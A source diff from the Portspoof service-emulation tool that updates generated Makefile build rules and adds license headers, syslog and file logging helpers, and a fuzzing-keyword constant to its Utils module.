@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-log.obj `if test -f 'log.cpp'; then $(CYGPATH_W) 'log.cpp'; else $(CYGPATH_W) '$(srcdir)/log.cpp'; fi`
|
||||||
|
|
||||||
portspoof-config_file.o: config_file.c
|
portspoof-portspoof.o: portspoof.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.o -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.o -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.o' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.o' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.o `test -f 'config_file.c' || echo '$(srcdir)/'`config_file.c
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.o `test -f 'portspoof.cpp' || echo '$(srcdir)/'`portspoof.cpp
|
||||||
|
|
||||||
portspoof-config_file.obj: config_file.c
|
portspoof-portspoof.obj: portspoof.cpp
|
||||||
@am__fastdepCC_TRUE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT portspoof-config_file.obj -MD -MP -MF $(DEPDIR)/portspoof-config_file.Tpo -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi`
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-portspoof.obj -MD -MP -MF $(DEPDIR)/portspoof-portspoof.Tpo -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi`
|
||||||
@am__fastdepCC_TRUE@ mv -f $(DEPDIR)/portspoof-config_file.Tpo $(DEPDIR)/portspoof-config_file.Po
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-portspoof.Tpo $(DEPDIR)/portspoof-portspoof.Po
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ source='config_file.c' object='portspoof-config_file.obj' libtool=no @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='portspoof.cpp' object='portspoof-portspoof.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
@am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o portspoof-config_file.obj `if test -f 'config_file.c'; then $(CYGPATH_W) 'config_file.c'; else $(CYGPATH_W) '$(srcdir)/config_file.c'; fi`
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-portspoof.obj `if test -f 'portspoof.cpp'; then $(CYGPATH_W) 'portspoof.cpp'; else $(CYGPATH_W) '$(srcdir)/portspoof.cpp'; fi`
|
||||||
|
|
||||||
|
portspoof-revregex.o: revregex.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.o -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.o' libtool=no @AMDEPBACKSLASH@
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.o `test -f 'revregex.cpp' || echo '$(srcdir)/'`revregex.cpp
|
||||||
|
|
||||||
|
portspoof-revregex.obj: revregex.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-revregex.obj -MD -MP -MF $(DEPDIR)/portspoof-revregex.Tpo -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
|
||||||
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-revregex.Tpo $(DEPDIR)/portspoof-revregex.Po
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='revregex.cpp' object='portspoof-revregex.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-revregex.obj `if test -f 'revregex.cpp'; then $(CYGPATH_W) 'revregex.cpp'; else $(CYGPATH_W) '$(srcdir)/revregex.cpp'; fi`
|
||||||
|
|
||||||
|
portspoof-Utils.o: Utils.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.o -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.o' libtool=no @AMDEPBACKSLASH@
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.o `test -f 'Utils.cpp' || echo '$(srcdir)/'`Utils.cpp
|
||||||
|
|
||||||
|
portspoof-Utils.obj: Utils.cpp
|
||||||
|
@am__fastdepCXX_TRUE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -MT portspoof-Utils.obj -MD -MP -MF $(DEPDIR)/portspoof-Utils.Tpo -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
|
||||||
|
@am__fastdepCXX_TRUE@ $(am__mv) $(DEPDIR)/portspoof-Utils.Tpo $(DEPDIR)/portspoof-Utils.Po
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ source='Utils.cpp' object='portspoof-Utils.obj' libtool=no @AMDEPBACKSLASH@
|
||||||
|
@AMDEP_TRUE@@am__fastdepCXX_FALSE@ DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
|
||||||
|
@am__fastdepCXX_FALSE@ $(CXX) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(portspoof_CPPFLAGS) $(CPPFLAGS) $(AM_CXXFLAGS) $(CXXFLAGS) -c -o portspoof-Utils.obj `if test -f 'Utils.cpp'; then $(CYGPATH_W) 'Utils.cpp'; else $(CYGPATH_W) '$(srcdir)/Utils.cpp'; fi`
|
||||||
|
|
||||||
ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
|
||||||
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
||||||
unique=`for i in $$list; do \
|
unique=`for i in $$list; do \
|
||||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
done | \
|
done | \
|
||||||
$(AWK) ' { files[$$0] = 1; } \
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
END { for (i in files) print i; }'`; \
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
mkid -fID $$unique
|
mkid -fID $$unique
|
||||||
tags: TAGS
|
tags: TAGS
|
||||||
|
|
||||||
TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||||
$(TAGS_FILES) $(LISP)
|
$(TAGS_FILES) $(LISP)
|
||||||
tags=; \
|
set x; \
|
||||||
here=`pwd`; \
|
here=`pwd`; \
|
||||||
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||||
unique=`for i in $$list; do \
|
unique=`for i in $$list; do \
|
||||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
done | \
|
done | \
|
||||||
$(AWK) ' { files[$$0] = 1; } \
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
END { for (i in files) print i; }'`; \
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
|
shift; \
|
||||||
|
if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
|
||||||
test -n "$$unique" || unique=$$empty_fix; \
|
test -n "$$unique" || unique=$$empty_fix; \
|
||||||
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
if test $$# -gt 0; then \
|
||||||
$$tags $$unique; \
|
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||||
|
"$$@" $$unique; \
|
||||||
|
else \
|
||||||
|
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||||
|
$$unique; \
|
||||||
|
fi; \
|
||||||
fi
|
fi
|
||||||
ctags: CTAGS
|
ctags: CTAGS
|
||||||
CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
|
||||||
$(TAGS_FILES) $(LISP)
|
$(TAGS_FILES) $(LISP)
|
||||||
tags=; \
|
|
||||||
here=`pwd`; \
|
|
||||||
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
|
||||||
unique=`for i in $$list; do \
|
unique=`for i in $$list; do \
|
||||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||||
done | \
|
done | \
|
||||||
$(AWK) ' { files[$$0] = 1; } \
|
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||||
END { for (i in files) print i; }'`; \
|
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||||
test -z "$(CTAGS_ARGS)$$tags$$unique" \
|
test -z "$(CTAGS_ARGS)$$unique" \
|
||||||
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
|
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
|
||||||
$$tags $$unique
|
$$unique
|
||||||
|
|
||||||
GTAGS:
|
GTAGS:
|
||||||
here=`$(am__cd) $(top_builddir) && pwd` \
|
here=`$(am__cd) $(top_builddir) && pwd` \
|
||||||
&& cd $(top_srcdir) \
|
&& $(am__cd) $(top_srcdir) \
|
||||||
&& gtags -i $(GTAGS_ARGS) $$here
|
&& gtags -i $(GTAGS_ARGS) "$$here"
|
||||||
|
|
||||||
distclean-tags:
|
distclean-tags:
|
||||||
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
|
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
|
||||||
@ -408,13 +472,17 @@ distdir: $(DISTFILES)
|
|||||||
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||||
if test -d $$d/$$file; then \
|
if test -d $$d/$$file; then \
|
||||||
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
if test -d "$(distdir)/$$file"; then \
|
||||||
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||||
fi; \
|
fi; \
|
||||||
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||||
|
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
|
||||||
|
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||||
|
fi; \
|
||||||
|
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
|
||||||
else \
|
else \
|
||||||
test -f $(distdir)/$$file \
|
test -f "$(distdir)/$$file" \
|
||||||
|| cp -p $$d/$$file $(distdir)/$$file \
|
|| cp -p $$d/$$file "$(distdir)/$$file" \
|
||||||
|| exit 1; \
|
|| exit 1; \
|
||||||
fi; \
|
fi; \
|
||||||
done
|
done
|
||||||
@ -445,6 +513,7 @@ clean-generic:
|
|||||||
|
|
||||||
distclean-generic:
|
distclean-generic:
|
||||||
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||||
|
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
|
||||||
|
|
||||||
maintainer-clean-generic:
|
maintainer-clean-generic:
|
||||||
@echo "This command is intended for maintainers to use"
|
@echo "This command is intended for maintainers to use"
|
||||||
@ -465,6 +534,8 @@ dvi-am:
|
|||||||
|
|
||||||
html: html-am
|
html: html-am
|
||||||
|
|
||||||
|
html-am:
|
||||||
|
|
||||||
info: info-am
|
info: info-am
|
||||||
|
|
||||||
info-am:
|
info-am:
|
||||||
@ -473,18 +544,28 @@ install-data-am:
|
|||||||
|
|
||||||
install-dvi: install-dvi-am
|
install-dvi: install-dvi-am
|
||||||
|
|
||||||
|
install-dvi-am:
|
||||||
|
|
||||||
install-exec-am: install-binPROGRAMS
|
install-exec-am: install-binPROGRAMS
|
||||||
|
|
||||||
install-html: install-html-am
|
install-html: install-html-am
|
||||||
|
|
||||||
|
install-html-am:
|
||||||
|
|
||||||
install-info: install-info-am
|
install-info: install-info-am
|
||||||
|
|
||||||
|
install-info-am:
|
||||||
|
|
||||||
install-man:
|
install-man:
|
||||||
|
|
||||||
install-pdf: install-pdf-am
|
install-pdf: install-pdf-am
|
||||||
|
|
||||||
|
install-pdf-am:
|
||||||
|
|
||||||
install-ps: install-ps-am
|
install-ps: install-ps-am
|
||||||
|
|
||||||
|
install-ps-am:
|
||||||
|
|
||||||
installcheck-am:
|
installcheck-am:
|
||||||
|
|
||||||
maintainer-clean: maintainer-clean-am
|
maintainer-clean: maintainer-clean-am
|
||||||
@ -506,7 +587,7 @@ ps-am:
|
|||||||
|
|
||||||
uninstall-am: uninstall-binPROGRAMS
|
uninstall-am: uninstall-binPROGRAMS
|
||||||
|
|
||||||
.MAKE: install-am install-strip
|
.MAKE: all install-am install-strip
|
||||||
|
|
||||||
.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
|
.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
|
||||||
clean-generic ctags distclean distclean-compile \
|
clean-generic ctags distclean distclean-compile \
|
||||||
@ -521,6 +602,7 @@ uninstall-am: uninstall-binPROGRAMS
|
|||||||
mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \
|
mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \
|
||||||
tags uninstall uninstall-am uninstall-binPROGRAMS
|
tags uninstall uninstall-am uninstall-binPROGRAMS
|
||||||
|
|
||||||
|
|
||||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||||
.NOEXPORT:
|
.NOEXPORT:
|
||||||
|
@ -61,7 +61,7 @@ Server::Server(Configuration* configuration)
|
|||||||
|
|
||||||
int n = 1;
|
int n = 1;
|
||||||
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
|
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
|
||||||
|
|
||||||
/* server address - by default localhost */
|
/* server address - by default localhost */
|
||||||
my_name.sin_family = PF_INET;
|
my_name.sin_family = PF_INET;
|
||||||
if(configuration->getConfigValue(OPT_IP))
|
if(configuration->getConfigValue(OPT_IP))
|
||||||
|
@ -1,4 +1,46 @@
|
|||||||
|
/*
|
||||||
|
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
|
|
||||||
|
|
||||||
|
pthread_cond_t log_cond = PTHREAD_COND_INITIALIZER;
|
||||||
|
pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
|
||||||
|
|
||||||
void Utils::hexdump(void *mem, unsigned int len)
|
void Utils::hexdump(void *mem, unsigned int len)
|
||||||
{
|
{
|
||||||
unsigned int i, j;
|
unsigned int i, j;
|
||||||
@ -50,20 +92,20 @@ std::vector<char> Utils::wrapNMAP(string wrapper,std::vector<char> payload)
|
|||||||
string str;
|
string str;
|
||||||
std::vector<char> result_vector;
|
std::vector<char> result_vector;
|
||||||
|
|
||||||
ss<<wrapper.substr(0,wrapper.find("__FUZZ__"));
|
ss<<wrapper.substr(0,wrapper.find(FUZZING_KEYWORD));
|
||||||
str=ss.str();
|
str=ss.str();
|
||||||
|
|
||||||
for(int i=0; i<str.length();i++)
|
for(unsigned int i=0; i<str.length();i++)
|
||||||
result_vector.push_back(str[i]);
|
result_vector.push_back(str[i]);
|
||||||
|
|
||||||
result_vector.insert(result_vector.end(),payload.begin(),payload.end());
|
result_vector.insert(result_vector.end(),payload.begin(),payload.end());
|
||||||
|
|
||||||
ss.str("");
|
ss.str("");
|
||||||
ss<<wrapper.substr(wrapper.find("__FUZZ__")+strlen("__FUZZ__"),wrapper.size());
|
ss<<wrapper.substr(wrapper.find(FUZZING_KEYWORD)+strlen(FUZZING_KEYWORD),wrapper.size());
|
||||||
|
|
||||||
str=ss.str();
|
str=ss.str();
|
||||||
|
|
||||||
for(int i=0; i<str.length();i++)
|
for(unsigned int i=0; i<str.length();i++)
|
||||||
result_vector.push_back(str[i]);
|
result_vector.push_back(str[i]);
|
||||||
|
|
||||||
return result_vector;
|
return result_vector;
|
||||||
@ -151,4 +193,45 @@ char * Utils::get_substring_value(char* str)
|
|||||||
memset(substr,0,eoffset-soffset);
|
memset(substr,0,eoffset-soffset);
|
||||||
memcpy(substr,str+soffset+1,eoffset-soffset-1);
|
memcpy(substr,str+soffset+1,eoffset-soffset-1);
|
||||||
return substr;
|
return substr;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void Utils::log_create(const char* file){
|
||||||
|
|
||||||
|
FILE *fp = fopen(file, "a");
|
||||||
|
if (fp == NULL) {
|
||||||
|
fp = fopen(file, "w");
|
||||||
|
}
|
||||||
|
fclose(fp);
|
||||||
|
return;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void Utils::log_write(Configuration* configuration,const char* msg) {
|
||||||
|
|
||||||
|
pthread_mutex_lock(&log_mutex);
|
||||||
|
|
||||||
|
if(configuration->getConfigValue(OPT_LOG_FILE))
|
||||||
|
{
|
||||||
|
FILE *fp = fopen(configuration->getLogFile().c_str(), "a");
|
||||||
|
if (fp == NULL) {
|
||||||
|
fprintf(stdout,"Error opening file: %s \n",configuration->getLogFile().c_str());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(fp,"%s",msg);
|
||||||
|
fclose(fp);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!(configuration->getConfigValue(OPT_SYSLOG_DIS)))
|
||||||
|
{
|
||||||
|
openlog(SYSLOG_NAME, LOG_PID|LOG_CONS, LOG_USER);
|
||||||
|
syslog(LOG_INFO," %s",msg);
|
||||||
|
closelog();
|
||||||
|
}
|
||||||
|
pthread_mutex_unlock(&log_mutex);
|
||||||
|
|
||||||
|
return;
|
||||||
|
|
||||||
}
|
}
|
50
src/Utils.h
50
src/Utils.h
@ -1,3 +1,39 @@
|
|||||||
|
/*
|
||||||
|
* Portspoof - Service Signature Emulator / Offesnsive Defense Exploitation Framework
|
||||||
|
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||||
|
*
|
||||||
|
* This program is free software; you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU General Public License as published by the
|
||||||
|
* Free Software Foundation; either version 2 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
* See the GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License along
|
||||||
|
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||||
|
*
|
||||||
|
* Linking portspoof statically or dynamically with other modules is making
|
||||||
|
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||||
|
* the GNU General Public License cover the whole combination.
|
||||||
|
*
|
||||||
|
* In addition, as a special exception, the copyright holder of Portspoof
|
||||||
|
* gives you permission to combine Portspoof with free software programs or
|
||||||
|
* libraries that are released under the GNU LGPL. You may copy
|
||||||
|
* and distribute such a system following the terms of the GNU GPL for
|
||||||
|
* Portspoof and the licenses of the other code concerned.
|
||||||
|
*
|
||||||
|
* Note that people who make modified versions of Portspoof are not obligated
|
||||||
|
* to grant this special exception for their modified versions; it is their
|
||||||
|
* choice whether to do so. The GNU General Public License gives permission
|
||||||
|
* to release a modified version without this exception; this exception
|
||||||
|
* also makes it possible to release a modified version which carries
|
||||||
|
* forward this exception.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
#ifndef UTILS_H
|
#ifndef UTILS_H
|
||||||
#define UTILS_H
|
#define UTILS_H
|
||||||
|
|
||||||
@ -12,12 +48,22 @@
|
|||||||
#include <sstream>
|
#include <sstream>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "Configuration.h"
|
||||||
|
|
||||||
|
class Configuration;
|
||||||
|
extern Configuration* configuration;
|
||||||
|
|
||||||
#ifndef HEXDUMP_COLS
|
#ifndef HEXDUMP_COLS
|
||||||
#define HEXDUMP_COLS 16
|
#define HEXDUMP_COLS 16
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#define MAX_LOG_MSG_LEN 200
|
||||||
|
#define SYSLOG_NAME "portspoof"
|
||||||
|
#define FUZZING_KEYWORD "__FUZZ__"
|
||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
@ -31,7 +77,9 @@ class Utils {
|
|||||||
static std::vector<char> wrapNMAP(string wrapper,std::vector<char> payload);
|
static std::vector<char> wrapNMAP(string wrapper,std::vector<char> payload);
|
||||||
static std::vector<char> unescape( std::vector<char>& s);
|
